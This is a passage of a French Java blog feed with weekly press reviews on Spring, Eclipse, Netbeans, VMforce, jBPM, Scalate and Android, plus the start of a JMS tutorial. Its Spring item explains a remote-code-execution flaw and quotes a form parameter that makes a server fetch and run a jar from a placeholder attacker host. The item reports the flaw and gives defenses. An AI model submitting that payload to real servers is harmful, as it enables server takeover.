name="Springversionetfailledescurit"></a>Spring, version 3.0.3 et faille de sécurité</h4><p>Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d&#8217;une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.</p><p>Plus de détails sur l&#8217;<a
title="annonce officielle" href="http://blog.springsource.com/2010/06/15/spring-framework-3-0-3-released/">annonce officielle</a>. Il est à noter que cette version corrige <a
title="une faille de scurit assez importante" href="http://www.securityfocus.com/archive/1/511877">une faille de sécurité assez importante</a> découverte sur la partie MVC et remontée par Meder Kydyraliev, de l&#8217;équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.</p><p>Le principe de l&#8217;attaque consiste à :</p><ol><li>Réaliser un jar accessible depuis internet avec un fichier <code>META-INF/spring-form.tld</code> et un répertoire <code>META-INF/tags/</code> contenant le code Java du tag</li><li>Soumettre un formulaire avec le paramètre HTTP : <code>class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/</code></li><li>Ensuite, le comportement interne de Spring fait qu&#8217;il va télécharger <code>http://attacker/attack.jar</code> pour l&#8217;exécuter sur la JVM du serveur d&#8217;application.</li></ol><p>Pour se défendre de ce type d&#8217;attaque il y a deux possibilités :</p><ul><li>Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)</li><li>Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l&#8217;URL soumise</li></ul><p>Pour plus détails, je vous invite à lire le <a
title="billet de Julien Dubois sur son blog Responcia" href="http://www.responcia.fr/blog/2010/06/18/faille-de-securite-critique-dans-spring/">billet de Julien Dubois sur son blog Responcia</a></p><h4><a
name="SortiedApacheClick"></a>Sortie d&#8217;Apache Click 2.2.0</h4><p><a
title="Apache Click" href="http://click.apache.org/">Apache Click</a> est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s&#8217;écrit en Velocity, en FreeMarker ou en JSP. Click est <em>stateless</em> par défaut mais peut être paramétré pour être <em>stateful</em>. A noter qu&#8217;il est <em>top-level project</em> chez Apache depuis Novembre 2009.</p><p>Les nouveautés de cette version sont <a
title="nombreuses" href="http://click.apache.org/docs/roadmap-changes.html">nombreuses</a>. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l&#8217;ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.</p><p>Les liens utiles : <a
title="téléchargement" href="http://click.apache.org/docs/downloads.html">téléchargement</a>, <a
title="guide utilisateur" href="http://click.apache.org/docs/user-guide.html">guide utilisateur</a> et <a
title="exemples" href="http://www.avoka.com/click-examples/home.htm">exemples</a>.</p><h4><a
name="TrucsetastucespourEclipse"></a>Trucs et astuces pour Eclipse</h4><p>De plus en plus de développeurs sont convaincus par <a
title="IntelliJ IDEA" href="http://www.jetbrains.com/idea/">IntelliJ IDEA</a>, l&#8217;IDE de <a
title="JetBrains" href="http://www.jetbrains.com/">JetBrains</a>. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse.  Certes, IDEA apporte son lot de changements par rapport à <a
title="Eclipse" href="http://www.eclipse.org/">Eclipse</a> mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l&#8217;IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d&#8217;articles du côté de chez <a
title="CertPal" href="http://www.certpal.com/blogs/tag/tips/">CertPal</a> de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d&#8217;Eclipse.</p><p>Le <a
title="premier article" href="http://www.certpal.com/blogs/2009/08/eclipse-tips-and-tricks-part-1/">premier article</a> se consacre au <code>code templates</code>. Exemple : la complétion sur <code>syso</code> nous génère automatiquement <code>System.out.println()</code>. De nombreux templates sont déjà disponibles et il sera bien sûr possible d&#8217;en ajouter très facilement. L&#8217;auteur nous présente alors quelques possibilités de templates comme le <code>go</code> générant un <code>main</code>, le <code>log</code> générant une variable de log avec les imports adéquats ou bien encore le <code>tryf</code> générant un block <code>try/catch/finally</code>.</p><p>Le <a
title="second" href="http://www.certpal.com/blogs/2009/09/eclipse-tips-and-tricks-part-2/">second</a> se focalise sur le débogage de l&#8217;application. Cela commence par la mise en place du <code>remote debugging</code>. Puis, l&#8217;auteur détaille les points d&#8217;arrêt conditionnels, la vue <code>display</code> qui permet l&#8217;exécution de code <em>live</em> avec toutes les variables du scope à disposition, la définition d&#8217;un <code>detail formatter</code> spécifique et la modification <em>live</em> de valeurs depuis la vue d&#8217;inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le <em>debug</em> de nos applications.</p><p>Enfin, sorti en début de semaine dernière, un <a
title="troisime article" href="http://www.certpal.com/blogs/2010/06/eclipse-tips-and-tricks-part-3/">troisième article</a>, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l&#8217;import/export des préférences ou la très intéressante vue <code>local history</code>.</p><p>La série n&#8217;étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.</p><h4><a
name="Netbeans"></a>Netbeans 6.9</h4><p>Aprés IntelliJ et Eclipse, Netbeans ! <a
title="Netbeans 69" href="http://netbeans.org/community/releases/69/">Netbeans 6.9</a> est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d&#8217;un formulaire, associés à des états et une source de données. Tout comme l&#8217;ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.</p><p>Parmi les autres nouveautés :</p><ul><li>intégration d&#8217;OSGI</li><li>support de Spring 3.0.0</li><li>support REST web services pour les applications RCP</li><li>support de Rails 3.0</li></ul><p>A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.</p><p>Bien que ce soit une version majeure, pas sûr néanmoins qu&#8217;elle fasse de l&#8217;ombre à la version annuelle d&#8217;Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.</p><h4><a
name="Choisirentremodjketmodproxypar"></a>Choisir entre mod_jk et mod_proxy, par Mark Thomas</h4><p>Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s&#8217;est fendu d&#8217;un nouvel article qui se veut une <em>checklist</em> pour choisir entre le mod_jk et le mod_proxy. Mark commence d&#8217;ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd&#8217;hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:</p><ul><li>Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.</li><li>Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.</li><li>Si vous avez déjà un de ces modules en production, ne changez rien.</li><li>Mark préfère le mod_proxy_http, pour sa configuration plus consistante.</li></ul><p>Pour plus d&#8217;information, vous pouvez lire son article sur le <a
title="blog Tomcat Expert" href="http://www.tomcatexpert.com/blog/2010/06/16/deciding-between-modjk-modproxyhttp-and-modproxyajp">blog Tomcat Expert</a>, ou connaître notre avis sur la question: <a
title="modproxy vs modjk" href="http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/">mod_proxy vs mod_jk</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/</link> <comments>http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#comments</comments> <pubDate>Mon, 03 May 2010 22:12:56 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Android]]></category> <category><![CDATA[Cloud Computing]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[jBPM]]></category> <category><![CDATA[JCP]]></category> <category><![CDATA[Oracle]]></category> <category><![CDATA[salesforce]]></category> <category><![CDATA[scala]]></category> <category><![CDATA[scalate]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[thread]]></category> <category><![CDATA[vmforce]]></category> <category><![CDATA[VMWare]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4516</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII (VMware + Spring) + SalesForce = VMforce Refonte de jBPM chez JBoss Josh Bloch : le futur de Java, sous la houlette de Oracle Le coin de la technique Scalate : un moteur de template pour Scala Le multitâche sur [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#VMwareSpringSalesForceVMforce">(VMware + Spring) + SalesForce = VMforce</a></li><li><a
href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#RefontedejBPMchezJBoss">Refonte de jBPM chez JBoss</a></li><li><a
href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#JoshBlochlefuturdeJavasouslaho">Josh Bloch : le futur de Java, sous la houlette de Oracle</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#ScalateunmoteurdetemplatepourS">Scalate : un moteur de <em>template</em> pour Scala</a></li><li><a
href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#LemultitchesurAndroid">Le multitâche sur Android</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#Scaladaysintgralementdisponibl">Scaladays 2010 intégralement disponible en vidéo !</a></li></ul><h4><a
name="VMwareSpringSalesForceVMforce"></a>(VMware + Spring) + SalesForce = VMforce</h4><p>Le 27 avril dernier, Paul Maritz (CEO de VMware), Marc Benioff (CEO de SalesForce) et Rod Johnson (GM de SpringSource) ont fait une <a
href="http://www.salesforce.com/video/vmforce-launch-sf.jsp" title="annonce" >annonce</a> conjointe pour le lancement d&#8217;une nouvelle solution cloud: <strong>VMforce</strong>.</p><p>Jusqu&#8217;à maintenant SalesForce était un des acteurs majeurs des SaaS (<em>Software as a Service</em>), spécialisé dans les CRM. Mais la montée en puissance de concurrents dans le cloud a poussé l&#8217;entreprise à revoir sa stratégie. Pour créer ou personnaliser des applications de SalesForce, les développeurs devaient s&#8217;appuyer exclusivement sur la plateforme de développement Force.com et sur son langage maison, l&#8217;<a
href="http://wiki.developerforce.com/index.php/Apex_Code:_The_World's_First_On-Demand_Programming_Language" title="Apex Code" >Apex Code</a>, relativement confidentiel. Il faut donc voir ce partenariat, avant tout, comme une ouverture des services de SalesForce au monde Java et en particulier celui de SpringSource.</p><p>Concernant Java, il est intéressant de constater que ce langage devient celui de référence pour toute solution cloud qui veut se populariser ou se standardiser. Il y a plus d&#8217;un an, Google avait subi de fortes pressions de la part de la communauté pour pouvoir utiliser Appengine avec Java en plus de Python. Encore plus étonnant, la solution cloud Azure de Microsoft propose également des <a
href="http://www.windowsazure4j.org/" title="ponts" >ponts</a> vers Java.</p><p>D&#8217;après <a
href="http://blog.springsource.com/2010/04/27/vmforce-spring-cloud/" title="Rod Johnson" >Rod Johnson</a> Spring sera vraiment au cœur de cette nouvelle offre. Son serveur tomcat, tcServer, constituera l&#8217;environnement d&#8217;exécution. SpringSource Tool Suite jouera un rôle important pour faciliter l&#8217;interopérabilité avec Force.com. On nous promet, entre autres, du <em>drag and drop</em> pour déployer directement des applications. Cela peut prêter à sourire mais ce genre de détail peut parfois faire basculer certains DSI, la véritable cible de cette nouvelle offre, qui cherchent les solutions les mieux intégrées aux environnements utilisés par leurs développeurs.</p><div
align="center"><img
class="size-full wp-image-4518" title="vmforceCloud" src="http://blog.xebia.fr/wp-content/uploads/2010/05/vmforceCloud.png" alt="Ecosysteme VMforce" width="500" height="385" /></div><p>De son côté Force.com apporte un accès à sa base de donnée relationnelle et à de nombreux services de rapport et de partage. De plus le développement de services orientés <em>réseau social</em>, avec des interfaces par exemple avec Twitter ou Facebook, de ponts vers les API Google ou de portage vers les téléphones mobiles, constitue une des originalités de SalesForce et un des points forts par rapport à ses concurrents.</p><p>Cette annonce peut en étonner certains qui avaient suivi <a
href="http://googleappengine.blogspot.com/2008/12/salesforcecom-announces-forcecom-for.html" title="celle de l'intégration de SalesForce dans Google Appengine" >celle de l&#8217;intégration de SalesForce dans Google AppEngine</a>, d&#8217;abord dans sa version Python puis Java. Le peu d&#8217;écho qu&#8217;elle a eu semble souligner le peu de synergies qui existent dans l&#8217;association de ces deux solutions et VMforce a, sur le papier, tout pour remplacer AppEngine comme PaaS (<em>Platform as a Service</em>) de référence. Bien sûr tout cela reste encore à confirmer car le lancement véritable est attendu cet automne (vous pouvez vous pré-inscrire sur cette <a
href="http://www.vmforce.com/" title="page" >page</a>). Est-ce que l&#8217;intégration dans STS tiendra ses promesses ? Est-ce que cette solution arrivera à convaincre les entreprises d&#8217;externaliser une partie de leur système d&#8217;information ?</p><h4><a
name="RefontedejBPMchezJBoss"></a>Refonte de jBPM chez JBoss</h4><p>Tout commença il y a un mois par <a
href="http://enterprisebpm.blogspot.com/2010/03/open-letter-to-jbpm-community.html" title="une lettre ouverte" >une lettre ouverte</a> à la communauté jBPM pour annoncer le départ de JBoss de Tom Baeyens et Joram Barrez, respectivement <em>project leader</em> et <em>core developer</em> du projet de gestion de <em>workflow</em> de l&#8217;éditeur. Quelques jours plus tard, Tom Baeyens <a
href="http://processdevelopments.blogspot.com/2010/03/alive-and-kicking.html" title="explique" >explique</a> qu&#8217;ils souhaitent développer, avec Joram Barrez, leur propre plate-forme BPM, qui supportera BPMN 2.0, adoptera une licence Apache 2.0 et sera adaptée &laquo;&nbsp;aux nouvelles infrastructures IT&nbsp;&raquo;. Le flou de cette dernière mention s&#8217;éclaircit en partie lorsque nous croisâmes Tom Baeyens à la conférence <a
href="http://blog.xebia.fr/2010/04/21/nosql-europe-tour-dhorizon-des-bases-de-donnees-nosql/">NoSQL Europe</a> de Londres ; il nous expliqua s&#8217;intéresser de près aux problématiques de persistance liées au <em>Cloud Computing</em>. Cette vision rafraichissante du BPM sera particulièrement intéressante à suivre&#8230;</p><p>Du coté de JBoss, l&#8217;affaire a entrainé un vaste projet de refonte. Ainsi Alejandro Guizar, nouveau <em>project lead</em> de jBPM, a publié deux semaines plus tard <a
href="http://enterprisebpm.blogspot.com/2010/04/announcing-jbpm-5.html" title="l'annonce du développement de jBPM 5" >l&#8217;annonce du développement de jBPM 5</a> qui <a
href="http://community.jboss.org/wiki/jBPM5RequestforComments" title="consistera" >consistera</a> en une fusion de jBPM et de <a
href="http://www.jboss.org/drools/drools-flow.html" title="Drools Flow" >Drools Flow</a>. Ceci aboutirait donc à un <em>rule driven process engine</em>, nom donné aux moteurs BPM fusionnés avec un moteur de règles. Cette vision constitue la tendance depuis quelques temps déjà sur ce marché, mais jBPM et Drools <a
href="http://blog.xebia.fr/2009/04/27/revue-de-presse-xebia-106/#VerslmergencedeRuledrivenproce" title="n'avaient pas su prendre ce virage" >n&#8217;avaient pas su prendre ce virage</a> pour cause d&#8217;avis divergents entre les deux équipes. Cet évènement semble donc avoir été l&#8217;occasion d&#8217;une remise en question globale. Mark Little, CTO de JBoss, <a
href="http://community.jboss.org/blogs/mark.little/2010/04/23/the-future-of-workflow-in-jboss" title="sexprimait" >s&#8217;exprimait</a> il y a une semaine sur l&#8217;avenir de la brique BPM de JBoss. Il reprenait ces faits en ajoutant une nouvelle importante : jBPM 4 ne deviendra pas un produit supporté par JBoss au sein de sa plate-forme commerciale SOA. Ce sera le rôle de jBPM 5.</p><p>jBPM est le moteur BPM Open Source majeur sur le marché. Ce changement de plan est donc important tant pour la communauté qui a déjà commencé à investir sur jBPM 4, sorti <a
href="http://blog.xebia.fr/2009/07/13/revue-de-presse-xebia-117/#jBPMestdisponible" title="il y a 10 mois" >il y a 10 mois</a>, que pour JBoss qui avait fortement investi dans jBPM 4. Ce dernier avait d&#8217;ailleurs connu une période de gestation particulièrement longue. Bien sûr ces investissements de part et d&#8217;autre ne sont pas perdus pour autant puisque cette nouvelle version s&#8217;appuiera pour partie sur l&#8217;existant, mais elle peut remettre en question certains choix stratégiques pour les entreprises.</p><h4><a
name="JoshBlochlefuturdeJavasouslaho"></a>Josh Bloch : le futur de Java, sous la houlette de Oracle</h4><p><a
href="http://www.infoq.com/news/2010/04/bloch_java_future" title="Pour InfoQ Josh Bloch" >Pour InfoQ, Josh Bloch</a>, l&#8217;auteur du fameux &laquo;&nbsp;Effective Java&nbsp;&raquo;, fait part de ses préoccupations au sujet du futur de Java. Tout d&#8217;abord, il constate que son évolution a ralenti ces derniers mois, pour deux raisons principales :</p><ul><li>le manque d&#8217;implication de Sun dans les travaux autour de Java 7, qui a conduit à sans cesse repousser sa date de sortie.</li><li>la confusion qui règne autour des différentes licences utilisées par le JCP, qui amène parfois des séparations étranges comme celle qui a eu lieu entre OpenJDK et Harmony. De plus, le support de certains éditeurs (Google a choisi Harmony comme base aux librairies Android) ne fait qu&#8217;ajouter à la confusion et à la discorde.</li></ul><p>Oracle, en meilleure santé financière que Sun, peut sortir le JCP de l&#8217;impasse en soutenant des réformes de fond, et en portant un regard neuf sur un certain héritage un peu &#8216;poussiéreux&#8217;. En particulier, Oracle a déjà proposé en 2007 de réformer les règles de propriété intellectuelle du JCP pour qu&#8217;elles deviennent plus permissives pour tous les composants de base (avec une licence de type Apache ou BSD).<br
/> Pour cette raison, Josh Bloch aimerait voir Oracle réclamer le bâton de commandeur qui était la propriété de Sun.</p><p>D&#8217;autre part, les statistiques montrent une baisse de l&#8217;utilisation de Java, au profit de C. Malgré cela, aucun des &laquo;&nbsp;nouveaux langages&nbsp;&raquo; (Scala, Ruby&#8230;) n&#8217;émerge suffisamment pour apparaitre dans ces statistiques et expliquer ce désamour. Cependant, ils restent des vecteurs d&#8217;innovation qu&#8217;il faut surveiller.<br
/> Et contrairement à ce que disent les statistiques, Josh Bloch ne pense que pas Java, aussi bien en tant que langage qu&#8217;en tant que plate forme, soit sur le déclin. Il voit certes un risque de déclin, mais il compte sur Oracle et sur la communauté pour l&#8217;enrayer. D&#8217;ailleurs, il ne voit pas émerger d&#8217;alternative crédible au langage et à la JVM. D&#8217;autant plus qu&#8217;Oracle ne devrait pas prendre le risque de tenter de mettre la JVM sous licence.<br
/> En ce qui concerne la fusion JRockit / Hotspot, elle est sur le papier intéressante, mais Sun n&#8217;est jamais parvenu à réaliser une telle fusion, ne serait ce que pour les JVM client et serveur. Pour le moins, ses coûts seront élevés.</p><p>Pour finir sur une note positive, Josh Bloch rappelle que Java a connu quelques succès retentissants ces derniers mois : Google Collections, Guice, les nouveaux langages de la JVM, et Android. En comptant sur des actions décisives d&#8217;Oracle, et la coopération d&#8217;une communauté élargie, le futur de java s&#8217;annonce (malgré tout ?) brillant.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="ScalateunmoteurdetemplatepourS"></a>Scalate : un moteur de <em>template</em> pour Scala</h4><p>Voilà une bonne occasion de vous parler d&#8217;un framework qui monte dans le monde Scala, à savoir <a
href="http://github.com/scalate/scalate" title="Scalate" >Scalate</a>. James Strachan <a
href="http://macstrac.blogspot.com/2010/04/scalate-11-released.html" title="a annoncé sa sortie" >a annoncé sa sortie</a> fin de semaine dernière en <a
href="http://scalate.fusesource.org/" title="version 1.1" >version 1.1</a>. Le détail des nouveautés se trouve <a
href="http://scalate.assembla.com/spaces/scalate/milestones/191837-1-1" title="ici" >ici</a>.</p><p>Scalate, pour Scala Template Engine, est un moteur de template qui s&#8217;appuie sur Scala 2.8 et permet de générer plusieurs type de documents <em>(texte, balises&#8230;)</em>. Il est actuellement utilisable :</p><ul><li>de manière standalone,</li><li>dans des Servlets,</li><li>dans <a
href="https://jersey.dev.java.net/" title="Jersey" >Jersey</a>,</li><li>dans Play! Framework grâce au projet <a
href="http://github.com/pk11/play-scalate" title="PlayScalate" >Play-Scalate</a>,</li><li>et dans <a
href="http://camel.apache.org/scalate.html" title="Apache Camel" >Apache Camel</a>,</li><li>avec prochainement l&#8217;intégration à <a
href="https://liftweb.assembla.com/spaces/liftweb/tickets/475" title="Lift" >Lift</a>.</li></ul><p>Scalate supporte les templates de type <a
href="http://scalate.fusesource.org/documentation/ssp-reference.html" title="SSP" >SSP</a> pour Scala Server Pages dont Velocity ou bien encore JSP. Ainsi Scalate supporte <code>${ }</code>, <code>&lt;%= %&gt;</code>, <code>&lt;% %&gt;</code> ou bien encore <code>#for</code>, <code>#if</code> et <code>#{ }</code>. L&#8217;autre format géré est le <a
href="http://scalate.fusesource.org/documentation/scaml-reference.html" title="Scaml" >Scaml</a> pour Scala Markup Language qui est un dialecte <em>(<a
href="http://haml-lang.com/" title="haml" >haml</a>)</em> pour simplifier la description d&#8217;un document web. Petit exemple :</p><pre class="brush: java; title: ; notranslate">
// ssp template
&lt;p&gt;
   &lt;%= List(&quot;hi&quot;, &quot;there&quot;, &quot;reader!&quot;).mkString(&quot; &quot;) %&gt;
   ${ &quot;yo &quot;+(3+4) }
&lt;/p&gt;
// ssp rendering
&lt;p&gt;
   hi there reader!
   yo 7
&lt;/p&gt;
// scaml template
%gee
   %whiz
      Wow this is cool!
// scaml rendering
&lt;gee&gt;
   &lt;whiz&gt;
      Wow this is cool!
   &lt;/whiz&gt;
&lt;/gee&gt;
</pre><p>Il n&#8217;y a plus qu&#8217;à <a
href="http://scalate.fusesource.org/download.html" title="jouer avec" >jouer avec</a> !</p><h4><a
name="LemultitchesurAndroid"></a>Le multitâche sur Android</h4><p>Qui aurai cru il y a encore peu que nous disposerions aujourd&#8217;hui d&#8217;équipements de poche ayant les capacités de faire tourner plusieurs applications riches simultanément, en Java qui plus est, malgré sa réputation de glouton en mémoire ? Ce temps là est révolu et Android montre combien un système basé sur Java peut se montrer performant. Néanmoins, pour atteindre cet objectif, il aura fallu que Google mette au point de nombreuses techniques. C&#8217;est ce que nous explique <a
href="http://android-developers.blogspot.com/2010/04/multitasking-android-way.html" title="cet article" >cet article</a> du <em>Android Developers blog</em>, le blog Google de référence sur le sujet.<br
/> Les objectifs (simplifier la vie de l&#8217;utilisateur au maximum en supprimant la notion de &laquo;&nbsp;fermer&nbsp;&raquo; une application&#8230;) et les contraintes (pas de swap&#8230;) sont expliqués ainsi que leurs conséquences sur la gestion de la mémoire dans les applications et l&#8217;OS.</p><p>on découvre certaines spécificités qui peuvent sembler étonnantes au commun des programmeurs. ainsi, des applications qui apparaissent en cours d&#8217;exécution peuvent n&#8217;avoir en fait aucun processus en cours ! Un autre point très intrigant est que les applications sont généralement tuées brutalement ! L&#8217;astuce consiste à garder la trace des parties de l&#8217;application visibles, les <a
href="http://developer.android.com/reference/android/app/activity.html" title="activity" ><em>Activity</em></a>, pour les redémarrer avec les infos de leur dernier état si besoin. si l&#8217;utilisateur n&#8217;y voit que du feu, le programmeur expérimenté sera lui surpris par ce fonctionnement peu orthodoxe mais visiblement efficace.</p><p>L&#8217;article va ensuite plus loin en explorant la façon dont sont gérés les services, à travers les notions de <a
href="http://developer.android.com/reference/android/content/BroadcastReceiver.html" title=""Broadcast Receivers"" ><em>Broadcast Receivers</em></a> et de <a
href="http://developer.android.com/reference/android/app/Service.html" title="Services" ><em>Services</em></a>. Les  premiers permettent de  réagir ponctuellement et brièvement à des stimuli externes alors que les seconds effectuent des opérations longues mais sans garanties aucune quant à leur survie: Android peut les tuer en cas de besoin.</p><p>Rassurez-vous, tout n&#8217;est pas complètement nouveau dans Android et certains concepts restent identiques à ce que l&#8217;on connaît en Java <em>desktop</em>. Sur <a
href="www.developpez.com" title="developpez.com" >developpez.com</a> Davy Leggieri nous offre 2 bons articles: l&#8217;un sur <a
href="http://davy-leggieri.developpez.com/tutoriels/android/threads-composants-application/" title="les threads composants une application Android" >les threads composants une application Android</a> et l&#8217;autre plus précisément centré sur <a
href="http://davy-leggieri.developpez.com/tutoriels/android/ui-thread/" title="l'UI Thread" >l&#8217;UI Thread</a>. Cela rappellera des souvenirs aux développeurs <a
href="http://fr.wikipedia.org/wiki/Swing_%28Java%29" title="Swing" >Swing</a> qui, avec son <a
href="http://en.wikipedia.org/wiki/Event_dispatching_thread" title="Event Dispatch Thread" >Event Dispatch Thread</a>, impose des contraintes similaires. Les environnements changent, mais certains fondamentaux restent !</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="Scaladaysintgralementdisponibl"></a>Scaladays 2010 intégralement disponible en vidéo !</h4><p>Si comme moi vous n&#8217;avez pas pu vous rendre au <a
href="http://days2010.scala-lang.org/" title="Scaladays 2010" >Scaladays 2010</a> de Lausanne, réjouissez-vous : toutes les vidéos sont déjà disponibles à <a
href="http://days2010.scala-lang.org/node/136" title="cette adresse" >cette adresse</a> !<br
/> Du <a
href="http://days2010.scala-lang.org/node/138/137" title="discours d'ouverture de Martin Odersky" >discours d&#8217;ouverture de Martin Odersky</a> en passant par les <a
href="http://days2010.scala-lang.org/node/138/140" title="Parallel Collections" >Parallel Collections</a> ou bien encore une session sur <a
href="http://days2010.scala-lang.org/node/138/159" title="Scala at LinkedIn" >Scala at LinkedIn</a>, redécouvrez les grands moments de cette première grosse conférence sur Scala. Les vidéos sont disponibles en basse et haute qualité et, pour les nomades, des verions <i>.mp4</i> sont téléchargeables.<br
/> Je sais déjà ce que je vais regarder dans le bus dans les prochaines semaines <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br
/> Et pour un petit résumé de ces deux jours, je vous renvoie vers le blog de <a
href="http://fanf42.blogspot.com/2010/04/summary-of-my-scala-days-2010.html" title="Franois" >François</a> pour un article qui ne peut que faire regretter de pas y être allé&#8230;</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>JMS/ActiveMQ : Spring vs Grails</title><link>http://blog.xebia.fr/2010/03/31/jmsactivemq-spring-vs-grails/</link> <comments>http://blog.xebia.fr/2010/03/31/jmsactivemq-spring-vs-grails/#comments</comments> <pubDate>Wed, 31 Mar 2010 15:07:35 +0000</pubDate> <dc:creator>Amin Fathallah</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[ActiveMQ]]></category> <category><![CDATA[Grails]]></category> <category><![CDATA[JMS]]></category> <category><![CDATA[Spring]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4289</guid> <description><![CDATA[Vous avez peut être entendu parler de Grails, ce nouveau framework Web Java qui vise à fournir une solution simple, rapide et efficace pour créer des applications Web JEE. Grails est une plateforme de développement qui grâce à son système de plugins intègrent plusieurs APIs et frameworks de l&#8217;écosystème Java visant ainsi à fournir une [...]]]></description> <content:encoded><![CDATA[<p>Vous avez peut être entendu parler de Grails, ce nouveau <em>framework</em> Web Java qui vise à fournir une solution  simple, rapide et efficace pour créer des applications Web JEE. Grails est une plateforme de  développement qui grâce à son système de plugins intègrent plusieurs APIs et <em>frameworks</em> de l&#8217;écosystème Java visant ainsi à fournir une <em>stack</em> complète packagée et intégrée pour répondre d&#8217;une manière efficace et élégante aux différentes problématiques liées à la création des applications d&#8217;entreprises orientées Web&#8230;</p><p>Dans ce premier billet, nous nous attarderons sur la comparaison entre deux implémentations d&#8217;une application utilisant JMS et ActiveMQ : une première implémentation avec Spring et JMS et une deuxième avec le plugin <code>grails-activemq</code>.</p><h3><a
name="JMSetActiveMQavecSpring"></a>JMS et ActiveMQ avec Spring</h3><p>Je vous propose dans un premier temps une implémentation de base d&#8217;ActiveMQ avec Spring. Pour cela plusieurs étapes sont nécessaires :</p><ul><li>Télécharger et installer ActiveMQ.</li><li>Créer un <code>pom.xml</code> avec les dépendances nécessaires.</li><li>Déclarer les <em>beans</em> nécessaires dans le fichier <strong>applicationContext-services.xml</strong> :</li></ul><pre class="brush: xml; title: ; notranslate">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&gt;
&lt;beans&gt;
&lt;!-- pool de connection JMS --&gt;
&lt;bean id=&quot;jmsFactory&quot; class=&quot;org.apache.activemq.pool.PooledConnectionFactory&quot; destroy- method=&quot;stop&quot;&gt;
  &lt;property name=&quot;connectionFactory&quot;&gt;
    &lt;bean class=&quot;org.apache.activemq.ActiveMQConnectionFactory&quot;&gt;
      &lt;property name=&quot;brokerURL&quot;&gt;
        &lt;value&gt;tcp://localhost:61616&lt;/value&gt;
      &lt;/property&gt;
    &lt;/bean&gt;
  &lt;/property&gt;
&lt;/bean&gt;
&lt;!-- template JMS Spring simplifiant la gestion des message JMS --&gt;
&lt;bean id=&quot;jmsTemplate&quot; class=&quot;org.springframework.jms.core.JmsTemplate&quot;&gt;
  &lt;property name=&quot;connectionFactory&quot;&gt;
